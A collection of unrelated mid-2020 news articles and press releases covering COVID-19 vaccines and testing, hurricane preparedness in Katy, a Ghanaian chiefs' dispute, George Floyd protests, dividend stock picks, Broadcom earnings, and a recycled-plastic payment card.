COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine  one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show

An overwhelming majority of Indians seem to prefer US President Donald Trump (92 percent) over Chinese President Xi Jinping (8 percent).

It is evident from the results of the poll that most Indians view the communist country with suspicion-tinted glasses. Nearly 95 percent of the respondents believe that China has been dishonest in its handling of the coronavirus crisis.

Over 85 percent people are not in favour of Chinese companies building 5G infrastructure in India, and do not want more Chinese investment in India either.

A good 91 percent Indians are willing to support a boycott of Chinese goods and services. The boycott sentiment seems to be strongest amon Marathis. Meanwhile, Indians across all languages uniformly believe that China is a strong supporter of Pakistan.

About 70 percent people in India fear a military conflict between Indian and China, while 61 percent view the neighbouring country's actions as those of an enemy state. A mere 3 percent os respondents believe that China is friendly.

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Hurricane season officially runs June 1 through Nov. 30, so preparing now could help protect Katy residents later.

Greg Goedecker, Katy emergency management coordinator, shares some thoughts on what to do now to be ready. He said this years hurricane season is different from past ones because the novel coronavirus is a concern, but the city is planning around that.

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Weve been busy looking at our emergency operations plans and hurricane checklists to ensure that we incorporate our pandemic planning and operational tactics in those checklists, he said. We are also ensuring that all of our city resources and rescue assets are ready to go.

Goedecker said when a storm has the potential of impacting the Houston area, residents need to be monitoring the forecasts through the National Hurricane Center and the National Weather Service - Houston/Galveston office.

Gathering supplies ahead of time is critical, Goedecker said. He emphasized having enough supplies for at least a week. The city of Katys emergency essentials kit list includes a range of items people will need, from a weeks worth of non-perishable food that can be eaten without cooking to a gallon of water per person per day for at least a week to flashlights and a portable battery-powered radio. And dont forget your pets: youll need seven days of food and water for them, too.

Important this year, Goedecker said people will need to have face coverings and disinfectant supplies because of the virus.

Related: Katy artists exhibit journeys his pandemic mental health story

Aside from assembling supplies, get your home ready by removing clutter from drains and gutters and cutting back extended tree limbs.

Goedecker recommended also that residents should try to be good neighbors by checking on their elderly neighbors that might need help getting their supplies together or protecting their homes.

With any storm there is usually some level of fear and anxiety of the unknown, Goedecker said. Being prepared allows you to reduce those fears while also reducing the impact to your life. I encourage everyone to take the extra time now to prepare.

Since Katy is a growing community, people are moving there all the time. Goedecker urged those that are new to the Gulf or the risks of hurricane season to stay informed. Youve always got to have a reliable way to get information, he said.

He recommended following the NHC, NWS and Harris County Flood Control District. He also said city of Katy residents to visit www.cityofkaty.com to sign up for the emergency notification system, KTALERT.

Know your risks. You should be taking the time to find out what type of wind and water hazards could impact you, Goedecker added.

Related: Katy resident earns $10,000 scholarship for med school

When a storm hits Katy, Goedecker and the office of emergency management are focused on stabilizing the communitys most fundamental services, including safety, security, food, water, sheltering, power, communications, transportation and hazardous materials.

Immediately following and sometimes during a weather event, the office is assessing the storms scope and complexity through working with other city departments to identify how the citys fundamental services have been affected, Goedecker said. With that knowledge, they develop priorities to zone in response efforts on areas that need it. They also focus on communicating critical information to public, private and nonprofit sectors.

When we are able to achieve the stabilization of our fundamental services, we can then turn our focus towards helping the community recovery and become more resilient for the next storm, Goedecker said.

tracy.maness@hcnonline.com
The Chairman of the Council of State has been petitioned to remind the Paramount Chief of Talensi, Naab Kugbilsong Nanlebegtang, of his role as one who should promote peace and not incite enmity in the Upper East Region.

The call, made by nine paramount chiefs in the Kassena-Nankana zone of the Upper East Region in a jointly signed communique, comes after the Paramount Chief of Talensi, who is also a member of the Council of State, reportedly led a delegation of paramount chiefs from the BONABOTO area of the region to the Jubilee House and made some utterances the chiefs and people of the Kassena-Nankana area consider to be against the collective interest of the region.

The meeting between the BONABOTO paramount chiefs and President Nana Addo Dankwa Akufo-Addo, held Friday 29th May, 2020, purportedly saw the Paramount Chief of Talensi, otherwise known as Tongraan, accuse the Minister for Aviation and Member of Parliament (MP) for Navrongo Central, Joseph Kofi Adda, of brewing tension in the region by plotting to reposition an airport project from a proposed site in the BONABOTO area to a different location in his Kassena-Nankana homeland.

The communique issued to the press Wednesday by the Kassena-Nankana paramount chiefs, who also have been yearning for a long-existing airstrip in their area to be upgraded, in reaction to the statement delivered by the Tongraan during the meeting at the Jubilee House highlights the conviction of the Kassena-Nankana natives that the Jubilee House visit was purposed to deny them the development due them.

We wish to remind the Tongraan as an elected representative of the Upper East Region on the Council of State with the responsibility to promote peace and development and not to breed animosity among the peoples of the region and, therefore, call on the Chairman of the Council of State to call Tongraan to order and call him to order in rendering an unqualified apology to the Honourable Minister for Aviation and elected Member of Parliament of Navrongo Central Constituency as failure to do so will be construed as an insult to the people of the constituency and could result in an unhealthy relation amongst the people of the region.

We demand and request an unqualified apology from the Tongraan for his unwarranted utterances against Honourable Joseph Kofi Adda, a senior member of the Government of Ghana, as one who has promoted persons of the region such as the BONABOTO Chief of Sakoti to a governing board position. They have no right to disrespect and denigrate or attempt to bring into disrepute the good name of anyone and attempt to impugn the character of a person or a senior public servant so duly and legitimately elected by the people of Ghana and appointed by His Excellency the President of the Republic of Ghana and in this case the Member of Parliament of the Navrongo Central Constituency and the Minister for Aviation, Honourable Joseph Kofi Adda, said the communique.

BONABOTO Jubilee House visit draws condemnation from BONABOTO area

The nine Kassena-Nankana paramount chiefs, who signed and issued the communique, include: the President of the Upper East Regional House of Chiefs and Paramount Chief of Naaga, Naba Olando A. Awine III; the Paramount Chief of Paga and former President of the Upper East Regional House of Chiefs, Pe Charles Awiah Awampaga II; the Paramount Chief of Chiana and former Vice President of the Upper East Regional House of Chiefs, Pe Ditundini Adiali Ayagitam III and the Paramount Chief of Nakong, Pe Joseph Banapeh Afagachie.

The rest are: the Paramount Chief of Kayoro, Pe Oscar Batabi Tiyiamu II; the Paramount Chief of Mirigu, Naba Anthony Abisa Anonsona Atasige III; the Paramount Chief of Katiu, Pe Ayikode Zangwio Atoge IV; the Paramount Chief of Kologo, Naba Clifford Tandegrewognekugre Asobayire V and the Paramount Chief of Navrongo, Pe Denis Aneakwoa Balinia Adda Asagpari II.

Taking their views to local radio stations, some natives of the BONABOTO area also expressed strong disapproval of the Jubilee House visit, generally saying the delegation should have encompassed full representatives from the Upper East Regional House of Chiefs and should have been devoid of politics.

Sometimes, our actions could be right; but if you dont think through, it would end up creating chaos. Now, if they (the Kassena-Nankana paramount chiefs) also go [to the Jubilee House] they are going to make a case and, then, you would end up realising the fact that its going to be as if the BONABOTO enclave and the Kassena-Nankana area have issues.

Ideally, we could have sent a delegation from the House of Chiefs to go and that would be more concrete than sending the BONABOTO area. I condemn it. This is not political. Im speaking as a social commentator. I condemn it in no uncertain terms. Chiefs are supposed to be neutral. To mobilise chiefs from a particular zone to go and do that, mark my word, is not going to help anybody at all. Now, it looks as if we went there because we want BONABOTO to develop to the detriment of other areas. If you develop and other areas do not develop, what do you seek to achieve? We have now opened the Pandoras box. For me, I think the best thing that has happened to the people of Navrongo is Kofi Adda. Im not hiding it. Im saying it on authority today, a popular Nabdam-born social commentator and sympathiser of the governing New Patriotic Party (NPP), Animah Daniel Ashaiman, told Simon Agana on Word Community Watch Show, a current affairs programme on Zuarungu-based Word FM.

---starrfmonline
Four Downriver communities have scheduled events this weekend related to the death of George Floyd while in custody of Minneapolis police.

The first is taking place at 10 a.m. June 6, at the Grosse Ile Commons.

Judy Maiga, who represents Grosse Ile Citizens for Justice and Change, said the ad-hoc group was created to show support for Black Lives Matter.

While our island would be an unlikely venue for such actions, a group of us have felt the urge to express solidarity and remind ourselves and our authorities of our shared humanity, she stated in an email sent to various elected officials, inviting them to attend. We plan a small, solemn ceremony respecting social distancing guidelines to remind all of us that, while we do live on an island of privilege, we share a bond with every citizen of our country, regardless of race, origin, gender or creed.

Those who attend are asked to wear masks and observe social distancing in what is being described as a respectful ceremony of support.

A speaker will address the group for a maximum of 15 minutes, followed by 8 minutes 41 seconds of silence in memory of George Floyd. The event will end with a few concluding remarks.

Also on June 6, the Romulus Peaceful Protest is scheduled for noon to 2 p.m. at Romulus High School, 9650 Wayne Road. Organizers are asking local residents to join with them to demand a change and to protest against social injustice. Its recommended that those who attend bring water, signs and a mask to protect against the spread of COVID-19.

In Riverview, Elena Tyler and fellow Riverview Community High School alumni Emily Haase, Hannah Vowell and Lauren Kaczor have created and organized a Unity March for Justice, set for 1 p.m. June 7.

In light of recent events, we wanted to provide an opportunity for the citizens in our community to be able to gather safely and peacefully to march for the justice of black Americans, Tyler said. Our intentions are very clear in that we want to demonstrate support for our black community members and to show that our police force stands in solidarity with us. We also want to express that Riverview is an inclusive and accepting city that values all of its members. Lastly, we are wanting to honor the memory of George Floyd while protesting injustice and promoting equality.

The route is scheduled to start at the corner of Krause and Longsdorf, where participants will then walk to Fort Street, down to Pennsylvania Road to Quarry, then head back down Longsdorf to end on Krause.

Tyler said some members of the Riverview Police Department will be in attendance to show their support, as well as to hand out water to marchers.

Also just announced is a Black Lives Matter protest in Wyandotte, organized by the same people who led a protest march Thursday in Allen Park and Lincoln Park.

The protest begins at noon on Sunday, starting at 540 Eureka Road. Its organizers say the purpose is to protest police brutality against people of color. People of all races are welcome.

In a flyer promoting the event, the group emphasized that this is intended to be a nonviolent protest and rioters or troublemakers will be handled by Wyandotte police.
Were in perplexing times. At this writing, the S&P 500 index stands at 3,201, just 5.5% below its all-time high. That high, reached back in February, came the day before the bottom fell out of the stock market, as the coronavirus crisis triggered the steepest, deepest  and fastest  stock market drop on record. And now we are in the midst of a prolonged bull-rally, as the markets have been trending upwards since bottoming out on March 23.

Whats an investor to do? The natural inclination during a bear market is to defend the portfolio and make conservative plays toward defensive dividend stocks, while the inclination during a rally is to go with the winners and stake positions in the stocks that are climbing most rapidly. The two strategies dont often overlap, and the future remains clouded even though sentiment is high for now.

At Wells Fargo, strategist Christopher Harvey believes that defensive moves are obsolete for now, and that investors should start adding risk.

Were starting to price in a less bad scenario. Things are getting slightly better at the margin A few weeks ago, for the first time in a long time, we went overweight on value. Now, what we are telling [investors] is we want them to start putting risk into the portfolio, Harvey said.

The strategist is advising investors to look for stocks that are positioned for a strong comeback. These are not necessarily the stocks that have been doing the best in the current rally; rather, they are stocks that will benefit most as the economy reopens. That reopening is happening now, in fits and starts, as some states continue their lockdown policies and others try to get back to business.

With this in mind, weve opened the TipRanks database and pulled up three relevant stock calls from three of Wells Fargo's top analysts. These are stocks with at least 7% dividend yield, and in the eyes of the Wells Fargo analysts, at least 10% upside potential. Let's take a closer look.

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EQT Midstream Partners (EQM)

Well start in the energy industry, with a $4.8 billion mid-cap player in the important midstream segment. EQM provides natural gas pipeline and storage services for the Pennsylvania/West Virginia/Ohio sections of the Appalachian basin. This region, in the rugged, low mountains of the East, is one of North Americas richest natural gas production areas, and a center of the fracking industry. EQM is also involved in that latter, providing water supply and waste-water disposal services for gas fracking companies.

EQM holds a sound position in an essential industry, and has been able to maintain revenues and earnings despite the COVID-19 pandemic. Q1 earnings numbers beat the forecast by a wide margin. The $1.08 EPS was well ahead of the 95-cent estimate, while revenues grew 16.25% year-over-year to reach $453 million, 14% ahead of expectations.

In addition, for income-minded investors, the company has made moves to maintain the dividend even in difficult times. Management lowered the payment  never a good look, really  but the new payout of 38.75 cents per share quarterly gives a yield of 7.43% and an annualized payment of $1.55 per share. These are solid numbers that significantly outperform the services industry average yield of 1.4%.

Much of EQMs potential is tied up in the Mountain Valley Pipeline. This project, in which the company is heavily invested, is delayed by regulatory and permitting hurdles, but is widely expected to come online in 2021.

Covering this stock for Wells Fargo is analyst Michael Blum. Noting the pipeline delays, he writes at the bottom line, EQM is well positioned to benefit from improving natural gas fundamentals heading into 2021 due to the expected decline in associated gas production. We see  the pending completion of MVP as positive

Blum sets a $27 price target here, in support of his Buy rating. His target implies a healthy upside potential of 17%. (To watch Blums track record, click here)

Overall, EQT Midstream gets a Moderate Buy from the analyst consensus, based on 3 Buy and 2 Hold ratings set in recent weeks. Shares are selling for $23.18, and the $23.20 average price target is less bullish than Blums. (See EQM stock analysis at TipRanks)

BP PLC (BP)

Next up, we move from mid-cap to industry-leading giant. BP, with a market cap of $93 billion, is one of the worlds largest oil and gas companies, and reported $278 billion in revenue for 2019. While that was down from the year before, the $10 billion in net profits beat the expected $9.7 billion.

And then came Q1 2020. We all know the story. Back in April, oil prices dropped dramatically, as demand was quenched by the ongoing economic shutdowns. Oil producers dont have the luxury of simply shutting off the pumps when demand falls; the equipment must be maintained, and it is not easy to restart a well that has been capped. The bounce back in prices since the April low has been helpful, but only partially. Even so, BP saw net profit fall 67% yoy in Q1, from Q1 2019s $2.4 billion to the current figure of $800 million. Even though Q1 earnings dropped so drastically they remained positive, but looking ahead Q2 is expected to show a loss of 37 cents per share.

Through everything, however, BP has kept up its dividend payment. The company remains committed to the payments, and has even increased its debt load to do so. The current dividend is 63 cents per share quarterly, annualized to $2.52, gives a yield of 9.65%. Compared to the 3% yield among utility peer companies, the attraction is clear.

Roger Read, another of Wells Fargos analysts, is cautious here but also sees a path forward for BP. He writes, BP's expected free cashflow generation through 2022 should support reductions in leverage and capacity to raise its dividend in 2020 and beyond.

Read gives the stock a Buy rating, and backs it with a $31 price target implying room for 15% upside growth in the next 12 months. (To watch Reads track record, click here)

The Moderate Buy analyst consensus rating on BP is derived from 7 reviews, including 4 Buys and 3 Holds. The average price target of $32.20 suggests a 16% premium from the $27.81 current trading price. (See BP stock analysis on TipRanks)

CenturyLink, Inc. (CTL)

The last stock on our list here is a communications services firm, in the cloud-based tech niche. CenturyLinks products offer customers solutions for networking and online security, a vital industry in todays connected work environment  and even more vital during the current corona crisis, with so many office workers moving to telecommuting. The urgency of online security is clearer now than ever.

That clear from CTLs Q1 earnings, which not only grew 12% sequentially, but also beat the forecast by a penny. The 37 cents reported was even 8% higher than the year-ago quarter.

CTLs steady earnings underlie the companys dividend. The payment has been stable for 5 quarters  and management recently announced that the next payout, set for June 12, will remain at 25 cents per share, or $1 annually. At this level, the dividend yields 9.43%, a solid return by any standard.

Wells Fargos Jennifer Fritzsche, rated 5-stars in the TipRanks database, acknowledges that leading-edge tech company inhabit a capricious landscape, but is optimistic about CTLs prospects. She writes, In our view  the co. made its difficult capital allocations decisions last year and we see that dividend as secure near term. If one lesson will be (crystal) clear coming out of this crisis, it is that fiber is critical and necessary railroad tracks (to quote WSJ) in our new normal. CTL has more of that asset than any public co.

Supporting her Buy rating on the stock, Fritzsche gives CTL a $12 price target, indicating room for 10% upside growth. (To watch Fritzsches track record, click here)

While Fritzsche is optimistic here, her Wall Street peers remain cautious. CTL shares have a Hold from the analyst consensus, based on 2 Buys, 4 Holds, and 4 Sells. Shares are selling for $10.24, but the average price target is $9.91. Time will tell if Fritzsches bullish stance is the correct course for CTL. (See CenturyLink stock analysis at TipRanks)

To find good ideas for dividend stocks trading at attractive valuations, visit TipRanks Best Stocks to Buy, a newly launched tool that unites all of TipRanks equity insights.
(Bloomberg) -- Broadcom Inc., a chipmaker that supplies Apple Inc. and other large electronics makers, gave a lackluster forecast, as weak demand for smartphone parts overshadowed rising orders from data center owners.Revenue in the three months ended in July will be $5.75 billion, plus or minus $150 million. That compares with an average analyst prediction of $5.77 billion, according to data compiled earlier on Thursday by Bloomberg.

The San Jose, California-based company makes chips that filter radio signals and provide WiFi connections in iPhones and other smartphones. With much of the worlds population confined to their homes, handset demand has dropped. Broadcom is also a key supplier of switch chips, the complex semiconductors that manage data traffic in networking equipment, an area where demand is surging.Read more: Smartphone Shipments Projected to Fall a Record 12% in 2020

Looking ahead, our third-quarter guidance for semiconductors reflects a surge in demand from cloud, telecom and enterprise customers, offset by supply chain constraints and an expected substantial reset in wireless, Chief Executive Officer Hock Tan said in a statement.

Tan explained that his large North American smartphone customer -- typically how he refers to Apple -- is undergoing a product cycle delay. That means the usual improvement in wireless-related orders that comes in the companys fiscal third quarter, which runs through July, will now be seen in the following three-month period. This implies the debut of the next iPhone will come later than its usual September release. Phone makers typically order chips months in advance of building the devices.

Balancing that weakness in smartphones, orders for chips used in data center gear have strengthened into the current period, Tan said. Bookings remain extremely strong he said. A bright spot for the industry has been the rush to buy equipment by the large cloud-computing providers, who are spending to increase their capacity in an effort to meet a flood of extra traffic caused by the boom in remote work.

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Three months ago, Broadcom withdrew its annual sales forecast and gave weak near-term guidance, citing the coronavirus pandemic. Tan said in March that the supply chain hadnt been hurt by the lockdown. Then in April, the company told customers to place orders at least six months ahead of time because of shelter-in-place rules in Malaysia, Thailand, Singapore and the Philippines. That supply chain is now on the mend, he said.

Read more: Broadcom Sounds Alarm on Unforeseen Tech Industry Disruptions

Broadcom, one of the latest to report earnings in the tech sector, is giving an up-to-date view on demand as the economy crumbles in the midst of the pandemic. The stock gained about 1% in extended trading following an initial decline. The shares closed at $308.89 earlier in New York.

The company, one of the worlds largest chipmakers, has branched out into mainframe computer and security software. Tan assembled Broadcom in a string of acquisitions, giving its products a role in everything from powerful data center networking gear to smartphones.Net revenue in the fiscal second quarter rose 4% to $5.74 billion, the company said. Before certain items, profit was $5.14 a share.

(Updates with comments from CEO throughout.)

For more articles like this, please visit us at bloomberg.com

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Today, the U.S. Department of Health and Human Services (HHS) announced new Guidance that specifies what additional data must be reported to HHS by laboratories along with Coronavirus Disease 2019 (COVID-19) test results. The Guidance standardizes reporting to ensure that public health officials have access to comprehensive and nearly real-time data to inform decision making in their response to COVID-19. As the country begins to reopen, access to clear and accurate data is essential to communities and leadership for making decisions critical to a phased reopening.

HHS and the entire Trump Administration are deeply concerned that COVID-19 is having a disproportionate impact on certain demographics, including racial minorities and older Americans, said HHS Secretary Alex Azar. High quality data is at the core of any effective public health response, and standardized, comprehensive reporting of testing information will give our public health experts better data to guide decisions at all levels throughout the crisis.

The new reporting requirements will provide information needed to better monitor disease incidence and trends by initiating epidemiologic case investigations, assisting with contact tracing, assessing availability and use of testing resources, and anticipating potential supply chain issues.

The requirement to include demographic data like race, ethnicity, age, and sex will enable us to ensure that all groups have equitable access to testing, and allow us to accurately determine the burden of infection on vulnerable groups, said ADM Brett P. Giroir, MD, Assistant Secretary for Health. With these data we will be able to improve decision-making and better prevent or mitigate further illnesses among Americans.

Laboratory data serves not only as important information to support decision-making related to the public health emergency, but also as a critical piece to better understanding the impact on socially vulnerable populations. Laboratory testing data, in conjunction with case reports and other data, also provide vital guidance for mitigation and control activities.

In addition, Health Information Exchanges can have a valuable role in this process and when possible, all information should be collected using health information technology certified to the Office of the National Coordinator (ONC) 2015 Edition certification criteria, and all information should be structured in accordance with the US Core Data for Interoperability (USCDI) when available or when possible. All data transmission should occur electronically using HL7 electronic laboratory reporting (ELR) implementation guides when possible but a predefined flat file format may also be acceptable.

Read the laboratory data reporting guidance.  PDFpdf iconexternal icon*

Read the laboratory data reporting FAQs.  PDFpdf iconexternal icon*

The Guidance is being issued pursuant to the Coronavirus Aid, Relief, and Economic Security (CARES) Act

Public Law 116-136,  18115(a), the Coronavirus Aid, Relief, and Economic Security (CARES) Act, requires every laboratory that performs or analyzes a test that is intended to detect SARS-CoV-2 or to diagnose a possible case of COVID-19 to report the results from each such test to the Secretary of the Department of Health and Human Services (HHS). This document outlines the requirements for data submission to HHS as authorized under this law. In an effort to receive these data in the most efficient and effective manner, the Secretary is requiring that all data be reported through existing public health data reporting methods, described below. As a guiding principle, data should be sent to state or local public health departments using existing reporting channels (in accordance with state law or policies) to ensure rapid initiation of case investigations by those departments, concurrent to laboratory results being shared with an ordering provider, or patient as applicable.

*People using assistive technology may not be able to fully access information in this file. For assistance, please contact digital@hhs.gov.
A Queensland judge has warned that a violent attack which left a policeman fighting for his life has the potential to encourage US-style police brutality.

Senior Constable Aaron Izzard's family and friends were told the officer had little chance of survival after he was run down by a stolen BMW in Brisbane in September 2018.

Senior Constable Aaron Izzard speaks to the media outside the District Court in Brisbane on Friday. Credit:Dan Peled/AAP

The 34-year-old suffered a fractured skull, bleeding on the brain and extensive cuts and bruising when Craig Aland Townshend, 36, deliberately drove a car into him.

He also sustained broken teeth, a shattered eardrum, shoulder injuries, a fractured eye socket, and spent 10 days in an induced coma.
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Brave: Emma Fogarty (far left), from Abbeyleix, Co Laois, with her assistant Georgina Herlihy

Colin Farrell and Johnny Sexton hailed the bravery of a woman living with a painful 'butterfly' skin condition, as she marks her 36th birthday with a 36km assisted walk.

The Hollywood actor and Ireland rugby captain have sent video messages to Emma Fogarty, from Abbeyleix, Co Laois.

Ms Fogarty was born with epidermolysis bullosa (EB), also known as butterfly skin - a disorder that causes the skin layers and internal body linings to blister and wound at the slightest touch.

At present, 80pc of her body is covered in open wounds, which are bandaged every second day.

On June 25, she will try to complete 36km in a wheelchair to raise funds for Debra Ireland, a charity that supports people with EB.

Farrell, who has known Ms Fogarty for a decade, sent a video from Los Angeles.

"I'm really nervous for her but I didn't even try and stop her because she's like a bull in a china shop when it comes to her determination and will.

"She wants to show people that even though she lives with the severity of the pain of this condition, it does not hinder her ability to express herself and live the life that she wants to live."

Ms Fogarty has been using a wheelchair since undergoing major surgery last year.

Her assistant Georgina Herlihy is going to push her on the 36km journey. "The pain I endure, all the time, whether I'm sitting in a chair or lying in bed, is considerable, and I am on a huge amount of medication.

"But I'm not going to let that beat me. My birthday is on June 25, and to mark it, I'm embarking on this challenge to prove a point."

Ireland and Leinster star Sexton has been an ambassador for Debra Ireland for the past 10 years.

"It is obviously a terrible disease to live with for the people who have it but also for their families," he said.

"Emma is taking on a challenge that might not seem big to you or me but with everything that she deals with in terms of bandage changes in the morning and all the medications she is on, she has to try and get into a wheelchair and complete this challenge."

To donate, visit justgiving.com/fundraising/emma-fogarty.
Credible compiled a list of 20 U.S. metro areas where homes are selling the fastest, using data from Zillow and ranking homes according to the average number of days they were listed before there was a pending sale in December 2020, the most recent month in which data was available for all metros.
Galleria Mall hosts COVID testing site

Testing is one of the commonwealths most important tools in the fight against COVID-19, Acting Secretary of Health Keara Klinepeter said.
After calling out woke Indian celebrities for sharing social media posts about the Black Lives Matter movement but ignoring domestic injustices, actor Abhay Deol has shared data about the popularity of fairness creams in India.

Do you think Indian celebrities will stop endorsing fairness creams now, he shared, adding data about search trends. Overall analysis. Fairness creams in India have evolved over the years, from being fairness creams to now using euphemisms like skin brightening/ whitening, or lightening creams. Most brands no longer want to be associated directly with being termed as fairness creams. So now we have brands selling HD glow, White beauty, white glow, fine fairness, and so on, he wrote.

Abhay continued, Over the years these companies have turned their attention towards the Indian Men, who are now trying to be fair and handsome, and have dedicated power white ranges for them too. The actor also shared brand-specific data.

The post has received over 20000 likes. The problem is not the product here.. there is demand hence the supply, one person wrote in the comments section. They should stop promoting stupid products all together, wrote another.

Also read: Abhay Deol slams woke Indian celebrities talking about black lives but not minorities, migrants in India

Recently, the actor had also called out woke Indian celebrities who were sharing social media posts in support of the Black Lives Matter movement sweeping across the US. Hed written, Maybe its time for these now? Now that woke Indian celebrities and the middle class stand in solidarity with fighting systemic racism in America, perhaps theyd see how it manifests in their own backyard? America has exported violence to the world, they have made it a more dangerous place, it was but inevitable that it would come back karmically. Im not saying they deserve it, Im saying look at the picture in its totality.

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A few centuries ago, Tichitt was a citadel of trade where Saharan merchants bearing gold, salt and cloth would stop to water their camels and haggle.

Today, red-and-white signs in the sand dunes point to where this once great hub of commerce and centre of Islamic culture lies.

But visitors to Tichitt, a UNESCO world heritage site, are few now, and the great outpost in arid central southern Mauritania is all but forgotten.

"Sometimes a month will go by without a car coming," Cherif Mokhtar Mbaka, an English teacher in the town, says sadly.

Grey-stone buildings dating from its golden age have survived but little else in the town of 2,470 residents, according to a 2016 census, points to its rich heritage.

Today's traders arrive in Tichitt on a monthly supply truck, bringing rice and pasta to local shops, and leave with salt from a nearby saline field /  AFP

The trans-Saharan caravan route that flourished between the 11th and 19th centuries brought a steady stream of traders to Tichitt, en route to Timbuktu and settlements in the Niger river basin.

"The decline began when the trade began to prefer sea routes rather than land routes," Mbaka says.

"Now it's over, and people are facing many problems."

Today, the traders who come arrive on a monthly supply truck, bringing rice and pasta to the local shops -- and leave again, with salt mined from a nearby saline plain, or sebkha.

- Racing memories -

Tichitt has lost another economic lifeline, too, in its more recent past.

The renowned Paris-Dakar Rally used to pass through, bringing a caravan of race car drivers, journalists and tourists.

"The old airstrip laid down by the French in the colonial era was redeveloped for the rally," said local dignitary Mohamed Teya, recalling how dozens of planes used to touch down during the event.

Grey-stone buildings dating from Tichitt's golden age have survived and UNESCO and the Mauritanian government stipulate that new constructions retain the unique architectural style /  AFP

But, in 2009, organisers relocated the off-road race to South America due to security threats in the Sahara and the runway has since disappeared.

Likewise, Tichitt's reputation as a jewel of Islamic culture has faded.

As well as the unique architecture from its heyday, carefully maintained by UNESCO and the Mauritanian government which stipulate that new buildings retain the style, reams of yellowing historic manuscripts have survived.

The documents are stored haphazardly in people's homes.

High school headmaster Mouhamedou Ahmadou set up a group to preserve them about 20 years ago and was allotted a house for the purpose.

But he has few resources for the job and their future looks bleak.

"These manuscripts are like old people and children: they are fragile," Ahmadou says.

The Paris-Dakar Rally used to pass through Tichitt, bringing a caravan of drivers, journalists and tourists, but was relocated to South America in 2009 /  AFP

Towns like Timbuktu in Mali -- renowned worldwide for historically important manuscripts -- benefit from foreign funding, or even temperature-controlled rooms, he points out.

"Look here! We're in the heart of the desert and it's hot," Ahmadou exclaims.

As he pulls out works from the shelves written mostly during the 7th and 8th century Arab conquests, the dust clouds make everyone in the room cough.

-'Forgotten'-

"Tichitt is forgotten," its mayor Hamadou Lah Medou, 38, says.

Even within an already sparsely populated country of some four million, its isolation makes life difficult and expensive.

Tichitt needs a road, says mayor Hamadou Lah Medou. But its petrol station is often empty anyway /  AFP

There's a small clinic offering first aid -- and an ambulance, one of the six cars in the town, jokes local official Mohamed Teya.

For more serious treatment, people must go to the hospital in Tidjikja, the regional capital about 230 kilometres (143 miles) away.

"We need a road," the mayor bemoans.

Yet, the petrol station -- two pumps and a sign in the sand -- is often empty.

Many try to make a living elsewhere.

"There's nothing to do here, no work, no opportunities," says Gildou Muhamedou Babui, 34, dressed in a sky-blue boubou.

High school headmaster Mouhamedou Ahmadou set up a group to preserve Tichitt's historic manuscripts about 20 years ago but has few resources /  AFP

Some find jobs at the palm grove, he says. Others work at the salt field, paid a few ouguiyas for their heavy manual labour, cutting the salt and loading up the camels of passing traders impatient to be on their way.

Babui himself tried to find work in the capital Nouakchott and in the northwestern town of Atar but to no avail.

He now keeps the accounts at the town hall.

"At least it's stable," he says, of the work that earns him about 3,900 ouguiyas ($103, 95 euros) a month.

"What can we do?"
[June 05, 2020] IDEMIA and BBVA Partner to Launch Spain's First Payment Card Made of Recycled PVC

IDEMIA, the global leader in Augmented Identity, is supplying the very first cards made out of recycled plastics in Spain to BBVA. The bank will first distribute the cards to their Spanish customers with a BBVA Youth Account in June 2020. This new payment card is a strong commitment from BBVA to contributing to the United Nations Sustainable Development Goals for the fight against climate change. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200605005037/en/ (Graphic: Business Wire) Each year, approximately 6 billion plastic payment cards are produced according to the 2018 Nilson Report1. In the context of the United Nations Sustainable Development Goals and the Paris Agreement, IDEMIA's cutting-edge technology has been selected by BBVA, one of the largest banks in Spain, to migrate part of its existing first-use PVC cards to innovative recycled PVC cards. By the end of the year BBVA will enable more than half a million Spanish customers to benefit from an eco-friendly alternative in payment. The new model will include a symbol on the back indicating that is made of recycled plastic, and will initially be distributed to BBVA's account for young people. "Young people in particular, are aware of the importance of protecting the environment and ther demand for sustainable solutions is growing. We have chosen IDEMIA's trusted solutions in order to accompany our customers in the environmental transition journey," says Ana Pitarch, the Head of Individual Customers for BBVA in Spain.



Thanks to its expertise in the field of card manufacturing, IDEMIA has been able to produce a card that promotes a responsible use of natural resources without compromising on quality and security. This card is made out of recycled PVC materials originating from industrial waste, in line with the circular economy principles to limit consumption and waste of natural resources while contributing to waste reduction. IDEMIA has also obtained from its recycled PVC supplier an "Environmental Claim Validation Summary" issued by UL Environment, Inc. The partnership between IDEMIA and BBVA will progressively allow the bank to deliver cards made of "eco-friendly" materials to customers in all countries where it has a presence by the end of 2021, with the commitment to rapidly reduce first-use PVC plastic in card manufacturing at worldwide level.

Amanda Gourbault, Executive VP of the Financial Institutions Business Unit at IDEMIA said: "This first card made of recycled plastic in Spain is a big leap forward for the adoption of cards made from recycled plastics. We are thrilled to be making history in this market by bringing the best of our expertise to contribute to the good of society as a whole." About IDEMIA IDEMIA, the global leader in Augmented Identity, provides a trusted environment enabling citizens and consumers alike to perform their daily critical activities (such as pay, connect and travel), in the physical as well as digital space. Securing our identity has become mission critical in the world we live in today. By standing for Augmented Identity, an identity that ensures privacy and trust and guarantees secure, authenticated and verifiable transactions, we reinvent the way we think, produce, use and protect one of our greatest assets - our identity - whether for individuals or for objects, whenever and wherever security matters. We provide Augmented Identity for international clients from Financial, Telecom, Identity, Public Security and IoT sectors. With close to 15,000 employees around the world, IDEMIA serves clients in 180 countries. For more information, visit www.idemia.com / Follow @IdemiaGroup on Twitter (News - Alert) ______________

